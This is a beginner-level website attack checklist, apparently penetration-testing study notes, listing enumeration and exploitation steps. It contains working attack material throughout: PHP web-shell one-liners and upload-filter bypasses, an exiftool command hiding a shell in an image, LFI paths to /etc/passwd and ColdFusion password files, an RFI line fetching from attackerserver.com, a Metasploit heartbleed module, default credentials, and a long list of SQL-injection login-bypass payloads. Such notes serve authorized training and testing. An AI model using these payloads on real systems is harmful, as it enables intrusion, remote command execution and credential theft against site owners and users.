Website Attack Checklist:
Beginner Level

April 2020

Enumeration

- Check it out with web browser
- What does it display?
- Read entire pages
    - look for emails, names, user info - Enum the interface, what version of CMS, server installation page etc. - What is the potential vulnerability in it?
    - LFI, RFI, Directory traversal, SQL Injection, XML External Entities, OS Command Injection, Upload vulnerability
- Default web server page reveals version information?
- Use Web Application Scanner (Refer note)
    - Example, nikto
        - `nikto -h 10.10.10.10 -output filename`
- Google for exploit
    - Rapid7
    - SearchSploit
- If https:
    - scan for *heartbleed* vulnerability
        - `sslscan 192.168.101.1:443`
        - `nmap -sV --script=ssl-heartbleed 192.168.3.157`
    - Read the certificate
        - Does it include names that might be useful? - Correct vhost
- View the webpage source code
    - Hidden Values
    - Developer Remarks
    - Extraneous Code
    - Passwords!
- Use curl
    - `curl <ip address / dns>`
- View robots.txt
- Brute forcing HTTP(s) directories and files
- Tools
    - dirb
    - dirbuster
    - nikto
    - wfuzz
    - gobuster for quick directory search
- Brute force directory recursively

    - If you found a directory example /admin, bruteforce more deeply
    - `dirb http://10.10.10.1/admin/`
- Looking for .git
- Set extension
    - sh,txt,php,html,htm,asp,aspx,js,xml,log,json,jpg,jpeg,png,gif,doc,pdf,mpg,mp3,zip,tar.gz,tar
- Bruteforce subdomain
    - xxx.google.com
- Creating wordlist from webpage
    - cewl
- Redirecting webpage automatically?
    - noredirect plugin
- If it's a login page
    - Try view source code
    - Use default password
    - Brute force directory first (sometime you don't need to login to pwn the machine)
    - using curl
    - bruteforce credential
        - Burpsuite
            - sniper. clusterbomb
        - Wfuzz
            - `wfuzz -w pass.txt -L 20 -d "username=FUZZ&password=FUZZ" -hw 1224 http://login page path`
        - Search credential in other service port
            - tftp
            - ftp
    - Enumeration for the credential
    - Search credential by bruteforce directory
    - Register first
    - SQL injection
        - `SQLMap`
    - XSS can be used to get the admin cookie
    - Bruteforce session cookie
- If it's a CMS
    - Google the CMS vulnerabilities
        - Wordpress, Drupal, Joomla. Vtiger, etc.
    - Go to admin page
        - Joomla
            - /administrator
        - Wordpress
            - /wp-admin
            - /wp-login

- Wordpress
  - `wpscan -u 192.168.3.145 --enumerate -t --enumerate u --enumerate p`
  - Bruteforce login page
    - `wpscan -u ipaddress --username name --wordlist pathtolist`
  - Random agent
  - `wpscan -u http://cybear32c.lab/ --random-agent`
  - `Zoom.py`
    - enumerate wordpress users
- Drupal
  - `droopsescan https://github.com/droope/droopescan`
  - `/CHANGELOG.txt` to find version
- Adobe Cold Fusion
  - Metasploit - Determine version
  - /CFIDE/adminapi/base.cfc?wsdl
  - Version 8 Vulnerabilit
  - Fckeditor
  - use exploit/windows/http/coldfusion_fckeditor
  - LFI
    - `http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
- Elastix
  - Google the vulnerabitlities
  - default login are admin:admin at /vtigercrm/
  - able to upload shell in profile-photo
  - Examine configuration files - Generic
  - Examine `httpd.conf`/ windows config files
- JBoss
  - JMX Console `http://IP:8080/jmxconcole/`
  - War File
- Joomla
  - configuration.php
  - diagnostics.php
  - joomla.inc.php
  - config.inc.php
- Mambo
  - configuration.php
  - config.inc.php
- Wordpress
  - setup-config.php
  - wp-config.php
- ZyXel
  - /WAN.html (contains PPPoE ISP password)
  - /WLAN_General.html and /WLAN.html (contains WEP key)

        - /rpDyDNS.html (contains DDNS credentials
        - /Firewall_DefPolicy.html (Firewall)
        - /CF_Keyword.html (Content Filter)
        - /RemMagWWW.html (Remote MGMT)
        - /rpSysAdmin.html (System)
        - /LAN_IP.html (LAN)
        - /NAT_General.html (NAT)
        - /ViewLog.html (Logs)
        - /rpFWUpload.html (Tools
        - /DiagGeneral.html (Diagnostic)
        - /RemMagSNMP.html (SNMP Passwords)
        - /LAN_ClientList.html (Current DHCP Leases)
        - Config Backups
            - /RestoreCfg.html
            - /BackupCfg.html
- Upload page
    - Upload shell to make reverse shell
    - Bypass file upload filtering
    - Rename it
        - upload it as shell.php.jpg
    - Blacklisting bypass, change extension
        - php phtml, .php, .php3, .php4, .php5, and .inc
        - bypassed by uploading an unpopular php extensions. such as: pht, phpt, phtml, php3, php4, php5, php6
        - asp asp, .aspx
        - perl .pl, .pm, .cgi, .lib
        - jsp .jsp, .jspx, .jsw, .jsv, and .jspf
        - Coldfusion .cfm, .cfml, .cfc, .dbm
- Whitelisting bypass
    - passed by uploading a file with some type of tricks,
    - Like adding a null byte injection like (`shell.php%00.gif`).
    - Or by using double extensions for the uploaded file like (shell.jpg.php)
    - GIF89a;
    - If they check the content. Basically you just add the text "GIF89a;" before you shell-code.
      `<? system($_GET['cmd']);//or you can insert your complete shellcode ?>`
    - In image
        - manipulate data
        - `exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg`
        - rename it
            - `mv lo.jpg lo.php.jpg`
- Phpmyadmin
    - Default password `root:pma`

- Webmin
    - Have vulnerabilities, google.
- Identify WAF using `wafw00f`
- Spidering a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers
- WMAP Web Scanner
    - web application vulnerability scanner

Exploitation

- Heartbleed exploit

```
use auxiliary/scanner/ssl/openssl_heartbleed

set RHOSTS 192.168.3.212

set verbose true

run
```

- XXS
    - Session hijacking / Cookie theft. Steal cookie to get admin privilege
    - use xsser tool
- Local File Inclusion
    - Bypassing php-execution
        - `http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index`
    - Bypassing the added .php and other extra file-endings
        - `http://example.com/page=../../../../../../etc/passwd%00`
        - `http://example.com/page=../../../../../../etc/passwd?`
    - folder that always exist
        - `/etc/hosts /etc/resolv.conf`
    - add %00jpg to end of files
        - `/etc/passwd%00jpg`
    - Refer this for more information
        - https://sushant747.gitbooks.io/total-oscp-guide/local_file_inclusion.html
        - https://highon.coffee/blog/lfi-cheat-sheet/
- Remote file inclusion
    - http://exampe.com/index.php?page=http://attackerserver.com/evil.txt
- SQL Injection

- Enum using nmap
  - `nmap -sV --script=http-sql-injection <target>`
- Using jsql
- Using sqlmap with login-page
- Capture the request using burp suite, and save the request in a file.
- `sqlmap -r request.txt`
- Crawl a page to find sql-injections
  - `sqlmap -u http://example.com --crawl=1`
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- Login bypass
  - `‘or 1=1- -`
  - `‘ or ‘1’=1`
  - `‘ or ‘1’=1 - -`
  - `‘-`
  - `' or '1'='1`
  - `-'`
  - `' '`
  - `'&'`
  - `'^'`
  - `'*'`
  - `' or ''-'`
  - `' or '' '`
  - `' or ''&'`
  - `` `' or "^" ``
  - `` `' or "*" ``
  - `"-"`
  - `" "`
  - `"&"`
  - `"^"`
  - `"*"`
  - `" or ""-"`
  - `" or "" "`
  - `" or ""&"`
  - `" or ""^"`
  - `" or ""*"`
  - `or true--`
  - `" or true--`
  - `' or true--`
  - `") or true--`
  - `') or true--`
  - `' or 'x'='x`
  - `') or ('x')=('x`
  - `')) or (('x'))=(('x`
  - `" or "x"="x`
  - `") or ("x")=("x`
  - `")) or (("x"))=(("x`
  - known Username
    - `admin’ - -`

        - `admin') - -`
    - Using error-bases DB enumeration
        - Add the tick `'`
        - Enumerate columns
    - Using order by
        - https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html
- XML External Entity (XXE)
- URL vulnerability
- OS command Injection
- Directory traversal
- Dotdotpwn tool